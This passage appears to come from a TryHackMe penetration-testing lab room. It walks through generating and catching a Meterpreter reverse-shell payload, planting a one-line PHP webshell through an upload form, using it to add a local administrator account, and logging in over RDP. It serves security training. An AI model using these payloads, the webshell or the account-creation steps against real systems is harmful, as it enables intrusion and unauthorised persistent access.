attacker@tryhackme:~$ msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=CONNECTION_IP LPORT=4444 -f exe -o meterpreter.exe
attacker@tryhackme:~$ python3 -m http.server 8000
Set up multi/handler in Metasploit:
attacker@tryhackme:~$ sudo msfconsole
msf6 > use multi/handler
msf6 exploit(multi/handler) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST CONNECTION_IP
msf6 exploit(multi/handler) > set LPORT 4444
msf6 exploit(multi/handler) > exploit -j
On the Windows machine, download and execute the payload:
PS C:\Users\Administrator> Invoke-WebRequest http://CONNECTION_IP:8000/meterpreter.exe -OutFile C:\Users\Administrator\Desktop\meterpreter.exe
PS C:\Users\Administrator> C:\Users\Administrator\Desktop\meterpreter.exe
Interact with the session and confirm access:
msf6 exploit(multi/handler) > sessions -i 1
meterpreter > sysinfo
meterpreter > getuid
3. Windows Admin Account via Webshell
On the AttackBox, create the webshell file:
attacker@tryhackme:~$ nano shell.php
Paste the following into the file and save it:
<?php echo "<pre>" . shell_exec($_GET["cmd"]) . "</pre>"; ?>
Navigate to http://MACHINE_IP and upload shell.php using the upload form. Once uploaded, use it to create a new local admin account. Spaces in commands must be encoded as %20:
http://MACHINE_IP/uploads/shell.php?cmd=net%20user%20pentester%20Passw0rd!%20/add
http://MACHINE_IP/uploads/shell.php?cmd=net%20localgroup%20administrators%20pentester%20/add
4. RDP Into Windows Using the New Account
Connect to the Windows machine via RDP using the account we just created:
attacker@tryhackme:~$ xfreerdp /dynamic-resolution +clipboard /cert:ignore /v:MACHINE_IP /u:pentester /p:'Passw0rd!'
?Answer the questions below
- What Meterpreter command displays information about the compromised system, including OS and hostname?
Conclusion
msfvenom handles binary generation for any platform and format. Multi/handler catches staged payloads and manages Meterpreter sessions. Webshells get code execution when the only path in is an HTTP upload. And once we have that first shell, credential hunting and account creation move us from an unstable foothold to something we can actually work with.
Combined with the shell-catching and stabilisation techniques from the Shells & Listeners Fundamentals room, we now have the full picture from listener setup to stable foothold. The natural next step is privilege escalation, covered in the Linux Privilege Escalation and Windows Privilege Escalation rooms in the TryHackMe Jr Penetration Tester learning path.
?Answer the questions below
- I have completed the room!